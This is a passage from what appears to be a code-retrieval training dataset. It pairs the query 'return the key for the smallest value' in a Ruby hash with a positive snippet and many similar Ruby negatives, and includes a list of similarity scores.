Lemuel Len Lenard Lenny Leo Leon Leonard Leonardo Leonel Leopoldo Leroy Les Lesley Leslie Lester Levi Lewis Lincoln Lindsay Lindsey Lino Linwood Lionel Lloyd Logan Lon Long Lonnie Lonny Loren Lorenzo Lou Louie Louis Lowell Loyd Lucas Luciano Lucien Lucio Lucius Luigi Luis Luke Lupe Luther Lyle Lyman Lyndon Lynn Lynwood Mac Mack Major Malcolm Malcom Malik Man Manual Manuel Marc Marcel Marcelino Marcellus Marcelo Marco Marcos Marcus Margarito Maria Mariano Mario Marion Mark Markus Marlin Marlon Marquis Marshall Martin Marty Marvin Mary Mason Mathew Matt Matthew Maurice Mauricio Mauro Max Maximo Maxwell Maynard Mckinley Mel Melvin Merle Merlin Merrill Mervin Micah Michael Michal Michale Micheal Michel Mickey Miguel Mike Mikel Milan Miles Milford Millard Milo Milton Minh Miquel Mitch Mitchel Mitchell Modesto Mohamed Mohammad Mohammed Moises Monroe Monte Monty Morgan Morris Morton Mose Moses Moshe Murray Myles Myron Napoleon Nathan Nathanael Nathanial Nathaniel Neal Ned Neil Nelson Nestor Neville Newton Nicholas Nick Nickolas Nicky Nicolas Nigel Noah Noble Noe Noel Nolan Norbert Norberto Norman Normand Norris Numbers Octavio Odell Odis Olen Olin Oliver Ollie Omar Omer Oren Orlando Orval Orville Oscar Osvaldo Oswaldo Otha Otis Otto Owen Ozzie Pablo Palmer Paris Parker Pasquale Pat Patricia Patrick Paul Pedro Percy Perry Pete Peter Phil Philip Phillip Pierre Porfirio Porter Preston Prince Quentin Quincy Quinn Quintin Quinton Rafael Raleigh Ralph Ramiro Ramon Randal Randall Randell Randolph Randy Raphael Rashad Raul Ray Rayford Raymon Raymond Raymundo Reed Refugio Reggie Reginald Reid Reinaldo Renaldo Renato Rene Reuben Rex Rey Reyes Reynaldo Rhett Ricardo Rich Richard Richie Rick Rickey Rickie Ricky Rico Rigoberto Riley Rob Robbie Robby Robert Roberto Robin Robt Rocco Rocky Rod Roderick Rodger Rodney Rodolfo Rodrick Rodrigo Rogelio Roger Roland Rolando Rolf Rolland Roman Romeo Ron Ronald Ronnie Ronny Roosevelt Rory Rosario Roscoe Rosendo Ross Roy Royal Royce Ruben Rubin Rudolf Rudolph Rudy Rueben Rufus Rupert Russ Russel Russell Rusty Ryan Sal Salvador Salvatore Sam Sammie Sammy Samual Samuel Sandy Sanford Sang Santiago Santo Santos Saul Scot Scott Scottie Scotty Sean Sebastian Sergio Seth Seymour Shad Shane Shannon Shaun Shawn Shayne Shelby Sheldon Shelton Sherman Sherwood Shirley Shon Sid Sidney Silas Simon Sol Solomon Son Sonny Spencer Stacey Stacy Stan Stanford Stanley Stanton Stefan Stephan Stephen Sterling Steve Steven Stevie Stewart Stuart Sung Sydney Sylvester Tad Tanner Taylor Ted Teddy Teodoro Terence Terrance Terrell Terrence Terry Thad Thaddeus Thanh Theo Theodore Theron Thomas Thurman Tim Timmy Timothy Titus Tobias Toby Tod Todd Tom Tomas Tommie Tommy Toney Tony Tory Tracey Tracy Travis Trent Trenton Trevor Trey Trinidad Tristan Troy Truman Tuan Ty Tyler Tyree Tyrell Tyron Tyrone Tyson Ulysses Val Valentin Valentine Van Vance Vaughn Vern Vernon Vicente Victor Vince Vincent Vincenzo Virgil Virgilio Vito Von Wade Waldo Walker Wallace Wally Walter Walton Ward Warner Warren Waylon Wayne Weldon Wendell Werner Wes Wesley Weston Whitney Wilber Wilbert Wilbur Wilburn Wiley Wilford Wilfred Wilfredo Will Willard William Williams Willian Willie Willis Willy Wilmer Wilson Wilton Winford Winfred Winston Wm Woodrow Wyatt Xavier Yong Young Zachariah Zachary Zachery Zack Zackary Zane].sample\nend",
"def likes(names)\n print names.split\nend",
"def best_friends(name1, name2)\n puts \"#{name1} is best friends with #{name2}.\"\nend",
"def match_friends\n me = User.find params[:id]\n respond_to do |format|\n format.json { \n friends = me.match_friends(params[:q], params[:channel]).collect { |friend|\n name = friend.handle\n name << \" (#{friend.email})\" unless params[:channel]\n { id: friend.id.to_s, name: name }\n }\n if friends.empty? \n if params[:q].match(Devise::email_regexp)\n # A \"valid\" address goes back paired with itself\n friends = [ { id: params[:q], name: params[:q] } ]\n end\n end\n render :json => friends\n }\n end\n end",
"def convert_members(friends)\n if new_record?\n members_as_venmoid = Array.new\n names = members.split(', ')\n names.reject! { |n| n.empty? }\n names.each do |n|\n friends.each do |f|\n if f['display_name'] == n\n members_as_venmoid << f['id']\n break\n end\n end\n end\n self.members = members_as_venmoid.to_json\n return true\n else\n return false\n end\n end",
"def test_remove_friend\n remove_friend_result = remove_friend(@person1, \"Keith\")\n # binding.pry\n assert_equal(false, remove_friend_result.include?(\"Keith\"))\n end",
"def filter_lengths(strings, length = 5)\n words = []\n strings.each do |word|\n if word.length >= length\n words << word\n end\n end\n return words\nend",
"def just_names(list)\n names = list.map do |c|\n c[:name]\n end\n return names\nend",
"def long_planeteer_calls(words)\n words.any? {|word| word.length > 4}\nend",
"def long_planeteer_calls(words)\n words.any? { |word| word.length>4}\nend",
"def valid_name(full_name)\n names = full_name.split\n\n if names.size < 2 ||\n (names[-1].size < 3 || names[-1][-1] == \".\") ||\n names.select {|name| name.size == 1}.count > 0 ||\n names.select {|name| name[0] == name[0].downcase}.count > 0 ||\n (names.size > 2 && names[0].size == 2 && names[1].size > 2 && names[0][-1] == \".\")\n return false\n end\n\n names\nend",
"def match(list)\n list.select do |words|\n letters = words.split(\"\").sort \n if letters == word.split(\"\").sort\n words\n end\n end\n end",
"def get_friends_list(user_id, *friend_ids)\n user_id = user_id.to_s\n validate_identifier(:user_id, user_id)\n friend_ids.each do |friend_id|\n friend_id = friend_id.to_s\n validate_identifier(:friend_ids, friend_id)\n end\n call_myspace_api(:friends_list, :user_id => user_id, :friend_ids => friend_ids.join(';'), :v1_json => true)\n end",
"def extract_full_names(s)\n\ts = \" \".concat(s).concat(\" \")\n\t#puts \"###############################################\"\n\t#puts s\n\tlist = s.scan(/\\s'?\"?\\w+,?\\s\\w+[,']?\\.?\\s?\\w*\\s?&?\\s?\\w*\"?'?\\s/)\n\t#puts \"=>\", list\n\tlist.map! do |name| \n\t\ttmp = name.sub(/^\\s*/, \"\").sub(/\\s*$/, \"\").sub(/<.+>/, \"\").sub(/,$/, \"\").delete(\"\\\"\\'\\.\")\n\t\tif tmp.include?(\",\") and !tmp.include?(\"&\")then\n\t\t\tl = tmp.split(\",\")\n\t\t\tl[1].sub!(/^\\s*/, \"\")\n\t\t\t#assert(l.length == 2, \"fails at #{tmp} out of #{s}\")\n\t\t\tif (l.length != 2) then\n\t\t\t\ttmp = \"\"\n\t\t\telse\n\t\t\t\ttmp = l[1].concat(\" \").concat(l[0])\n\t\t\tend\n\t\tend\n\t\ttmp\n\tend\n\tlist\nend",
"def fidder_crabs(names)\n\n # Create empty container for everyone in the group\n everybody = Hash.new\n # Create a counter for group number, defalt to 1\n counter = 1\n\n names.shuffle\n #Mix it up.!!!!!\n\n #while the list is longer than 8 people, put 5 each in a group.\n while names.length >= 8 do\n names_in_group = names[0..4]\n everybody[counter] = names_in_group\n counter +=1\n names = names.drop(5)\n end\n\n #if the remainder is 5, have the last group with 5 people\n if names.length == 5\n names_in_group = names[0..4]\n everybody[counter] = names_in_group\n counter += 1\n names = names.drop(5)\n\n #if the remaiinder group is 7, then we need to split the group into 4 and 3\n elsif names.length == 7\n names_in_group = names[0..3]\n everybody[counter] = names_in_group\n counter += 1\n names = names.drop(4)\n #creating the last group\n names_in_group = names[0..2]\n everybody[counter] = names_in_group\n counter += 1\n names = names.drop(3)\n\n #if the remainder is 6, we can have 2 groups of 3's\n elsif names.length == 6\n names_in_group = names[0..2]\n everybody[counter] = names_in_group\n counter += 1\n names = names.drop(3)\n #creating last group of 3\n names_in_group = names[0..2]\n everybody[counter] = names_in_group\n counter += 1\n names = names.drop(3)\n\n #if there is a remainder of 4 then create 1 group\n elsif names.length == 4\n names_in_group = names[0..3]\n everybody[counter] = names_in_group\n counter += 1\n names = names.drop(4)\n\n #if the remainder is 3, then create the last group with 3\n elsif names.length == 3\n names_in_group = names[0..2]\n everybody[counter] = names_in_group\n counter += 1\n names = names.drop(3)\n else\n names.length < 3\n names_in_group = names[0..1]\n everybody[counter] = names_in_group\n names = names.drop(3)\n end\n\n # since we filter by 8, the highest remainder is 7 and the lowest is 3, only 7 and 6 need to be split into 2 groups, while 3 and 4 could be in 1 group by themselfs.\n everybody\n #Return the hash of everybody in their group number with their names.\nend",
"def userlist_text(userlist)\n userlist.sort!\n case userlist.length\n when 1 then return userlist.first\n when 2 then return userlist.join(\" AND \")\n else return userlist[0..-2].join(\", \") + \", AND #{userlist.last}\"\n end\nend",
"def get_twitter_friend_names(username)\n client = get_twitter_client\n\n # Fetch friend IDS\n friend_ids = handle_rate_limit do\n client.friend_ids(username).to_a\n end\n\n # Fetch friend data\n friends = handle_rate_limit do\n client.users(friend_ids).to_a\n end\n\n # Extract the friend names\n friendnames = []\n friends.each do |f|\n friendnames << f.screen_name\n end\n return friendnames\n end"
] | [
"0.76541257",
"0.72479296",
"0.71305364",
"0.7041879",
"0.66225225",
"0.65617454",
"0.6332171",
"0.6316158",
"0.61874115",
"0.6154084",
"0.60753995",
"0.603734",
"0.5877262",
"0.5824719",
"0.5815174",
"0.576773",
"0.57626194",
"0.5721331",
"0.57092106",
"0.56818986",
"0.56811523",
"0.56720805",
"0.56048936",
"0.5599343",
"0.5570705",
"0.5570705",
"0.55611706",
"0.5547883",
"0.5540413",
"0.5525861",
"0.5515637",
"0.549694",
"0.548648",
"0.5474834",
"0.5467362",
"0.5442057",
"0.5429989",
"0.54264593",
"0.53912747",
"0.53859127",
"0.5383035",
"0.53729075",
"0.535576",
"0.534455",
"0.53432035",
"0.5323069",
"0.53194386",
"0.5292989",
"0.5273653",
"0.52707934",
"0.52657354",
"0.52611184",
"0.5253011",
"0.52449757",
"0.52261466",
"0.5214819",
"0.5213424",
"0.5204554",
"0.52009195",
"0.51964676",
"0.51964486",
"0.51749897",
"0.5159985",
"0.5153716",
"0.51529187",
"0.5145362",
"0.51451766",
"0.51445585",
"0.51428854",
"0.5131914",
"0.5128419",
"0.5124217",
"0.51123816",
"0.5109376",
"0.510379",
"0.5103756",
"0.5102309",
"0.51008373",
"0.50675917",
"0.50671077",
"0.5065365",
"0.5064298",
"0.5055099",
"0.50488037",
"0.5041272",
"0.5041031",
"0.50362855",
"0.503058",
"0.5026353",
"0.5023577",
"0.5016301",
"0.49941558",
"0.4994023",
"0.4990765",
"0.49905497",
"0.4984755",
"0.49839246",
"0.4973891",
"0.49711972",
"0.49615118"
] | 0.6000399 | 12 |
Given a hash with numeric values, return the key for the smallest value | def key_for_min_value(name_hash)
min_key=nil
min_value=0
counter=0
name_hash.collect do |key, value|
if value < min_value || counter==0
min_key = key
min_value = value
end
counter+=1
end
min_key
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = Float::INFINITY\n hash.each do |key, value|\n if value < lowest_value\n lowest_value = value\n lowest_key = key\n end\n end\n lowest_key\nend",
"def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = Float::INFINITY\n hash.each do |k, v|\n if v < lowest_value\n lowest_value = v\n lowest_key = k\n end\n end\n lowest_key\nend",
"def key_for_min_value(hash)\n smallest_value = nil\n smallest_key = nil\n hash.each do |name, num|\n if smallest_value == nil || num < smallest_value\n smallest_value = num\n smallest_key = name\n end\n end\n smallest_key\nend",
"def key_for_min_value(hash)\n min_val = Float::INFINITY\n min_key = nil\n hash.each do |key, value|\n if value < min_val\n min_val = value\n min_key = key\n end\n end\n min_key\nend",
"def key_for_min_value(hash)\n \n min_val = Float::INFINITY\n min_key = nil\n hash.each do |k, v|\n if min_val > v\n min_val = v\n min_key = k\n end\n end\n return min_key\nend",
"def key_for_min_value(hash)\n smallest_key = nil\n tiny_value = nil\n hash.each do |key, value|\n if tiny_value == nil || value < tiny_value\n tiny_value = value\n smallest_key = key\n end\n end\n smallest_key\nend",
"def key_for_min_value(hash)\n smallest = nil\n key = nil\n hash.collect do |name, val|\n if smallest == nil || val < smallest\n smallest = val\n key = name\n end\n end\n key\nend",
"def key_for_min_value(hash)\n int_hash = hash.select { |key, val| val.class == Fixnum }\n smallest = int_hash[int_hash.keys.sample]\n # debugger\n int_hash.each do |key, val|\n if val < smallest\n smallest = val \n end\n end\n int_hash.key(smallest)\nend",
"def key_for_min_value(hash)\r\n smallest_key = nil\r\n tiniest_value = nil\r\n hash.each do |key, value|\r\n if tiniest_value == nil || value < tiniest_value\r\n tiniest_value = value\r\n smallest_key = key\r\n end\r\n end\r\n smallest_key\r\nend",
"def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = 0\n\n\n hash.each do |key,value|\n if lowest_value == 0 || value < lowest_value\n lowest_value = value\n lowest_key = key\n end\n end\n lowest_key\nend",
"def key_for_min_value(hash)\n min = nil\n hash.each_pair do |key, value|\n min ||= value\n min = value if value < min\n end\n hash.key(min)\nend",
"def key_for_min_value(hash)\n smallest = nil\n hash.each do |key, value|\n if smallest == nil\n smallest = key\n end\n if hash[key] < hash[smallest]\n smallest = key\n end\n end\n smallest\nend",
"def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = nil\n hash.each do |k, v|\n if lowest_value == nil || v < lowest_value\n lowest_value = v\n lowest_key = k\n end\n end\n lowest_key\nend",
"def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = nil\n hash.each do |k, v|\n if lowest_value == nil || v < lowest_value\n lowest_value = v\n lowest_key = k\n end\n end\n lowest_key\nend",
"def key_for_min_value(hash)\n smallest_key = nil\n tiniest_value = nil\n hash.each do |key, value|\n if tiniest_value == nil || value < tiniest_value\n \n # this way, the smallest value in the hash so far always overwrites the existing tiniest value\n \n tiniest_value = value\n smallest_key = key\n end\n end\n smallest_key\nend",
"def key_for_min_value(hash)\n hash_key = nil\n hash_value = nil\n hash.each do |key, value|\n if hash_value == nil || value < hash_value\n hash_value = value\n hash_key = key\n end\n end\n hash_key\nend",
"def key_for_min_value(hash)\n min_key = nil\n hash.each do |key, value|\n if min_key.nil?\n min_key = key\n elsif value < hash[min_key]\n min_key = key\n else\n next\n end\n end\n min_key\nend",
"def key_for_min_value(hash)\n min_key = nil\n hash.each do |key, value|\n if min_key.nil?\n min_key = key\n elsif value < hash[min_key]\n min_key = key\n else\n next\n end\n end\n min_key\nend",
"def key_for_min_value(hash)\n min = 99999999\n min_key = nil\n hash.select do |key, value|\n if value < min\n min = value\n min_key = key\n end\n end\n min_key\nend",
"def key_for_min_value(hash)\n if hash.empty?\n return nil\n end\n ans = [hash.first[0],hash.first[1]]\n hash.each do |k,v|\n if v < ans[1]\n ans[1] = v\n ans[0] = k\n end\n end\n return ans[0]\nend",
"def key_for_min_value(hash)\n key = nil\n lowest_value = nil\n hash.each do |name, value|\n if lowest_value == nil || value < lowest_value\n lowest_value = value\n key = name\n end\nend\nkey\nend",
"def key_for_min_value(hash)\n hash_key = nil\n hash_value = nil\n hash.each do |a, b|\n if hash_value == nil || b < hash_value\n hash_value = b\n hash_key = a\n end\n end\n hash_key\nend",
"def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = nil \n hash.each do |key, value|\n if lowest_value == nil || value < lowest_value \n lowest_value = value \n lowest_key = key \n end\n end\n lowest_key\nend",
"def key_for_min_value(name_hash)\n lowestnum = 1000\n name_hash.each_value do |hashvalue|\n if hashvalue < lowestnum\n lowestnum = hashvalue\n end\n end\n name_hash.index(lowestnum)\nend",
"def key_for_min_value(name_hash)\n lowest_key = nil\n lowest_number = nil\n name_hash.each do |name, number|\n if lowest_number == nil || number < lowest_number\n lowest_number = number\n lowest_key = name\n end\n end\n lowest_key\nend",
"def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = nil\n hash.each do |k,v|\n # first iteration\n ## this creates a starting point for comparison\n if lowest_value == nil || lowest_value > v\n lowest_value = v\n lowest_key = k\n end\n end\n lowest_key\nend",
"def key_for_min_value(name_hash)\n low = Float::INFINITY\n name_hash.each do |k,v|\n if v < low\n low = v\n end\n end\n name_hash.key(low)\nend",
"def key_for_min_value(hash)\n small_key = nil\n small_value = nil\n \n hash.each do |key, value|\n if small_value == nil || value < small_value\n small_value = value\n small_key = key\n end\nend\nsmall_key\nend",
"def key_for_min_value(hash)\n low_min = 1000\n min_key = nil\n hash.each do |key, value|\n if(low_min > value)\n low_min = value\n min_key = key\n end\nend\n min_key\nend",
"def key_for_min_value(name_hash)\n lowest = nil\n key = nil\n if name_hash.length == 0\n return \n end\n \n name_hash.each do |name, number|\n if lowest == nil\n lowest = number\n end\n if key == nil\n key = name\n end\n if number < lowest\n lowest = number\n key = name\n end\n end\n key\nend",
"def key_for_min_value(hash)\n least_value = nil \n least_key = nil\n hash.each do |a, b|\n if least_value == nil || b < least_value\n least_value = b\n least_key = a\n end\n end\n least_key\nend",
"def key_for_min_value(name_hash)\n\tif name_hash == {}\n\t\tnil\n\tend\n\n\tsmallest_key = nil\n\tsmallest_value = nil\n\tname_hash.each do |key, value|\n\t\tif !smallest_value || value < smallest_value\n\t\t\tsmallest_key = key\n\t\t\tsmallest_value = value\n\t\tend\n\tend\n\tsmallest_key\nend",
"def key_for_min_value(hash)\n i = 0\n lowest1 = :key\n lowest = 0\n if hash.empty? == true \n return nil\n end\n hash.each do |name, value|\n if i == 0\n lowest1 = name\n lowest = value\n i =+ 1\n end\n if value < lowest\n lowest1 = name\n lowest = value\n end\n if hash.empty? == true \n lowest1 = nil\n end\n end\n lowest1\nend",
"def key_for_min_value(name_hash)\n lowest_key = nil\n lowest_value = Float::INFINITY\n name_hash.each do |name, amount|\n if amount < lowest_value\n lowest_value = amount\n lowest_key = name\n end\n end\n lowest_key\n end",
"def key_for_min_value(hash)\n lo_key = nil \n lo_value = nil \n hash.each do |k,v| \n if lo_key == nil || v < lo_value\n lo_key = k \n lo_value = v \n end \n end \n lo_key\n end",
"def key_for_min_value(hash)\n\n lowest_key = nil \n lowest_value = nil \n \n hash.each do |key,value|\n if lowest_value == nil || lowest_value > value\n\n lowest_key = key\n lowest_value = value \n end \n \n end \n lowest_key\nend",
"def key_for_min_value(name_hash)\n small_num = Float::INFINITY\n smallest_key = \"\"\n if name_hash.length == 0\n return nil\n end\n name_hash.each do |key, value|\n if value < small_num\n small_num = value\n smallest_key = key\n end\n end\nsmallest_key\nend",
"def key_for_min_value(hash)\n value_only_array = []\n hash.each_pair do |key, value|\n value_only_array << value\n end\n value_only_array.sort!\n hash.key(value_only_array[0])\nend",
"def key_for_min_value(hash)\n return nil if hash.empty?\n arr = hash.collect {|key, value| value}.sort\n hash.each {|key, value| return key if value == arr[0]}\nend",
"def key_for_min_value(hash)\n array = []\n hash.each do |key, value|\n array << value\n end\n array.sort!\n hash.key(array[0])\nend",
"def key_for_min_value(name_hash)\n lowest_key=nil\n lowest_value=Float::INFINITY\n name_hash.each{|key, value| \n if value<lowest_value\n lowest_value=value\n lowest_key=key\n end\n }\n lowest_key\nend",
"def key_for_min_value(name_hash)\n empty_hash = nil\n lowest_value = 10000000000000000000000\n name_hash.collect do |name, value|\n if value < lowest_value\n lowest_value = value\n empty_hash = name\n end\n end\n empty_hash\nend",
"def key_for_min_value(name_hash)\n lowest = \"\"\n lowest = nil if name_hash.empty?\n high_num = 100000000000000000\n name_hash.each do | key, value |\n lowest = key if value < high_num\n high_num = value if value < high_num\n end\n lowest\nend",
"def key_for_min_value(name_hash)\n lowest_key = nil\n lowest_value = nil\n name_hash.each do |name, num|\n if lowest_key == nil || num < lowest_value\n lowest_key = name\n lowest_value = num\n elsif name_hash == nil\n nil\n end\n end\n lowest_key\nend",
"def key_for_min_value(name_hash)\n num = nil\n name_hash.collect do |key, value|\n if value < num\n num = value\n end\n end \n name_hash.key(num)\nend",
"def key_for_min_value(name_hash)\n smallest_val = 0\n smallest_key = nil\n name_hash.each do|key, val|\n if smallest_val == 0 || val < smallest_val\n smallest_val = val\n smallest_key = key\n end\n end\n smallest_key\n\nend",
"def key_for_min_value(name_hash)\n smallest_hash_key = nil\n name_hash.each do |key, val|\n if smallest_hash_key == nil\n smallest_hash_key = key\n next\n elsif val < name_hash[smallest_hash_key]\n smallest_hash_key = key\n end\n end\n smallest_hash_key\nend",
"def key_for_min_value(hash)\n if hash.count < 2\n return hash[0]\n else \n num = 42\n hash.each do |key, value|\n if value <= num\n num = value\n end\n end\n hash.invert[num] \n end\nend",
"def key_for_min_value(name_hash)\n return nil if name_hash.empty?\n lowest_number = name_hash.first[1];\n key_value = \"\"\n name_hash.each do |key, value|\n if value <= lowest_number\n lowest_number = value\n key_value = key\n end\n end\n key_value\nend",
"def key_for_min_value(name_hash)\n current = 0\n lowest = 0\n lowest_key = nil\n name_hash.collect do |key, value|\n current = value\n if current < lowest || lowest == 0\n lowest = current\n lowest_key = key\n end\n\n end\n lowest_key\nend",
"def key_for_min_value(name_hash)\n lowest_key = nil\n lowestvalue = 1000\n name_hash.each do |name, value|\n if value < lowestvalue\n lowest_key = name\n lowestvalue = value\n end\n end\n lowest_key\nend",
"def key_for_min_value(name_hash)\n small_value = 10000000000\n small_key = nil\n name_hash.each do |k,v|\n if v < small_value\n small_value = v\n small_key = k\n end\n end\n small_key\nend",
"def key_for_min_value(name_hash)\n low_key = nil\n low_value = nil\n name_hash.each do |k, v|\n if low_value == nil || v < low_value\n low_value = v\n low_key = k\n end\n end\n low_key\n end",
"def key_for_min_value(hash)\n lowest_value = nil\n lowest_key = nil\n\n hash.each do |key, value|\n if lowest_value == nil # tell me if this makes sense\n lowest_value = value\n lowest_key = key\n elsif lowest_value > value\n lowest_value = value\n lowest_key = key\n end\n end\n lowest_key #you want to return the key for min\nend",
"def key_for_min_value(hash)\n \n if hash.empty?\n return nil\n end\n min_value=500\n min_key=:symbol\n \n hash.each do |key, value|\n if value<min_value\n min_value=value\n min_key=key\n end\n end\n return min_key\nend",
"def key_for_min_value(name_hash)\n lowestKey = nil\n lowestValue = Float::INFINITY\n name_hash.each do |k, v|\n if v < lowestValue\n lowestValue = v\n lowestKey = k\n end\n end\n lowestKey\n\nend",
"def key_for_min_value(name_hash)\n smallest_val = 0\n smallest_key = 0\n comp = nil\n name_hash.each do |key,val|\n comp = val\n if smallest_key == 0\n smallest_key = key\n smallest_val = val\n end \n if comp < smallest_val\n smallest_val = comp\n smallest_key = key\n end\n end\n if smallest_key == 0 \n return nil \n else\n return smallest_key\n end\nend",
"def key_for_min_value(name_hash)\n lowest_key=nil\n lowest_val=0\n name_hash.collect do |key,value|\n if value<lowest_val or lowest_val==0\n lowest_key=key\n lowest_val=value\n end\n end\n lowest_key\nend",
"def key_for_min_value(name_hash)\n smallest = nil\n this_num = 0\n previous_num = 1000000\n name_hash.collect { |item, qty|\n this_num = qty\n if this_num < previous_num\n smallest = item\n previous_num = this_num\n end\n }\n smallest\nend",
"def key_for_min_value(name_hash)\n rkey = nil\n rvalue = 10000000000000000\n name_hash.each do |key, value|\n if value < rvalue\n rkey = key\n rvalue = value\n end\n end\n rkey\nend",
"def key_for_min_value(name_hash)\n\tsmallest_value = nil\n\tassociated_key = nil \n\tname_hash.collect do |key, value|\n\t\tif smallest_value == nil || value < smallest_value\n\t\t\tsmallest_value = value \n\t\t\tassociated_key = key\n\t \tend\n\tend\n\tassociated_key\nend",
"def key_for_min_value(hash)\n # binding.pry\n lowest_key = nil\n lowest_value = 0\n # binding.pry\n hash.each do |key, value|\n if lowest_key == nil || value < lowest_value\n # binding.pry\n lowest_value = value\n lowest_key = key\n # binding.pry\n end\n end\n lowest_key\nend",
"def key_for_min_value(hash)\n hash.key(hash.values.min)\nend",
"def key_for_min_value(hash)\n hash.key(hash.values.min)\nend",
"def key_for_min_value(name_hash)\n smallest_value = 100\n name_hash.each do |key, value| \n if value < smallest_value\n smallest_value = value \n end \n end\n name_hash.key(smallest_value)\nend",
"def key_for_min_value(name_hash)\n lowest=\"\"\n lowest=nil if name_hash.empty?\n tracker=100000000\n name_hash.each do |key,value|\n lowest=key if value<tracker\n tracker=value if value<tracker\n # if value<tracker\n end\n lowest\nend",
"def key_for_min_value(name_hash)\n if name_hash.length == 0 \n nil\n else\n smallest_num = nil\n smallest_num_key = nil\n name_hash.collect do |key, value|\n if smallest_num == nil\n smallest_num = value\n smallest_num_key = key\n elsif smallest_num > value\n smallest_num = value\n smallest_num_key = key\n end\n end\n smallest_num_key\n end\n\nend",
"def key_for_min_value(name_hash)\n low_key = nil\n low_value = nil\n name_hash.each do |n, s|\n if low_value == nil\n low_value = s\n low_key = n\n elsif low_value > s\n low_value = s\n low_key = n\n end\n end\n low_key\nend",
"def key_for_min_value(name_hash)\n return nil if name_hash == nil || name_hash == {}\n number_array = name_hash.collect do |name, number|\n number\n end\n number_array.sort!\n name_hash.key(number_array[0])\nend",
"def key_for_min_value(name_hash)\n lowestId = nil\n lowestNum = 0\n name_hash.each{ |id, val|\n if lowestNum == 0 \n lowestNum = val\n end\n if val <= lowestNum\n lowestNum = val\n lowestId = id\n end\n }\n return lowestId\nend",
"def key_for_min_value(name_hash)\n lowest_v = nil\n lowest_k = nil\n name_hash.each do |name, value|\n if lowest_v == nil\n lowest_v = value\n lowest_k = name\n elsif value < lowest_v\n lowest_v = value\n lowest_k = name\n end\n end\n lowest_k\n end",
"def key_for_min_value(name_hash)\n smallest_key = nil\n smallest_value = nil\n name_hash.each do |j, r|\n if smallest_value == nil || r < smallest_value\n smallest_value = r\n smallest_key = j\n end\n end\n smallest_key\nend",
"def key_for_min_value(name_hash)\nlowest = 1000000\n low_key = nil\n name_hash.each {|key, value|\n if value < lowest\n lowest = value\n low_key = key\n end\n }\n low_key\nend",
"def key_for_min_value(name_hash)\n lowest_key = nil\n name_hash.each_key do |key|\n if lowest_key == nil\n lowest_key = key\n elsif name_hash[key] < name_hash[lowest_key]\n lowest_key = key\n end\n end\n lowest_key\nend",
"def key_for_min_value(name_hash)\n\n if name_hash.empty?\n return nil\n end\n lowest = Float::INFINITY\n name_hash.each_pair do |k, v|\n if v < lowest\n lowest = v\n end\n end\n name_hash.each_pair do |k, v|\n if v == lowest\n return k\n end\n end\nend",
"def key_for_min_value(name_hash)\n output = 0\n smallest = nil\n name_hash.map do |key, value|\n if value < output || output == 0\n output = value\n smallest = key\n end\n end\n\n smallest\nend",
"def key_for_min_value(my_hash)\n #what is my value?\n lowest_value = 500\n lowest_key = nil\n\n my_hash.collect do |key, value|\n # what is my value?\n if value < lowest_value\n lowest_value = value\n lowest_key = key\n end\n end\n lowest_key\nend",
"def key_for_min_value(name_hash)\n lowest_num = 1000000000\n lowest_num_key = \" \"\n if name_hash == {}\n return nil\n else\n name_hash.each do |name, num|\n if num < lowest_num\n lowest_num = num\n lowest_num_key = name\n end\n end\n return lowest_num_key\n end\nend",
"def key_for_min_value(name_hash)\n nums = name_hash.collect do |item, num|\n num\n end\n nums.sort!\n nums[0]\n \n min_key = nil\n name_hash.map do |item, num|\n if num == nums[0]\n min_key = item\n end\n end\n min_key\nend",
"def key_for_min_value(name_hash)\n vals = name_hash.collect { |key, value| value }\n keys = name_hash.collect { |key, value| key }\n low = vals[0]\n lowkey = keys[0]\n if name_hash.empty?\n nil\n else\n name_hash.collect do |key, value|\n if value < low\n low = value\n lowkey = key\n end\n end\n lowkey\n end\nend",
"def key_for_min_value(name_hash)\n value1 = 0\n lowestKey = nil\n name_hash.each do |key, value|\n if(value1 == 0)\n value1 = value\n lowestKey = key\n end\n if(value1 > value)\n value1 = value\n lowestKey = key\n elsif (value1 < value)\n lowestKey = lowestKey\n value1 = value1\n end\n end\n return lowestKey\nend",
"def key_for_min_value(hash)\n return nil if hash.empty?\n arr = hash.collect { |k, v| v }.sort\n hash.each { |k, v| return k if v == arr[0] }\nend",
"def key_for_min_value(name_hash)\n # saves the smaller value in memo, and takes the first elem of memo at the end (the key)\n smallest = name_hash.inject do|memo, (k, v)|\n memo = v < memo[1] ? [k,v] : memo\n end\n #handle the empty hash case...\n smallest ? smallest[0] : nil\nend",
"def key_for_min_value(name_hash)\n key = \"\"\n low_value = nil\n if name_hash.empty? == true\n return nil\n end\n name_hash.each do |name, number|\n if low_value == nil || number < low_value\n low_value = number\n key = name\n end\n end\n key\nend",
"def key_for_min_value(name_hash)\n answer = nil\n smallest = nil\n name_hash.each {|key, value|\n if smallest.nil?\n smallest = value\n end\n if value <= smallest\n smallest = value\n answer = key\n end\n }\n answer\nend",
"def smallest_key(q, hash)\n\t\ttemp = {}\n\t\tq.each do |v|\n\t\t\ttemp[v] = hash[v]\n\t\tend\n\t\treturn temp.key(temp.each_value.min)\n\tend",
"def key_for_min_value(name_hash)\n lowest_value = 0\n lowest_key = \"\"\n if name_hash.empty? == true\n nil\n else\n name_hash.each_with_index do |(key, value), i|\n if i == 0\n lowest_value = value\n lowest_key = key\n elsif value < lowest_value\n lowest_value = value\n lowest_key = key\n end\n end\n lowest_key\n end\nend",
"def key_for_min_value(name_hash)\n low=10000000000000000000\n return_key=nil\n name_hash.each do |key, value|\n if value<low\n low=value\n return_key=key\n end\n end\n return_key\nend",
"def key_for_min_value(hash)\n if hash.length == 0\n return nil\n else\n smallest = 1000\n printme = \"\"\n hash.each do |thing, number|\n if number < smallest\n smallest = number\n printme = thing\n end\n end\n printme\n end\nend",
"def key_for_min_value(name_hash)\n \n lowest_key = nil\n lowest_value = nil\n name_hash.each do |name_key, name_value|\n if lowest_value == nil || name_value < lowest_value\n lowest_value = name_value\n lowest_key = name_key\n end\n end\n lowest_key\n \n end",
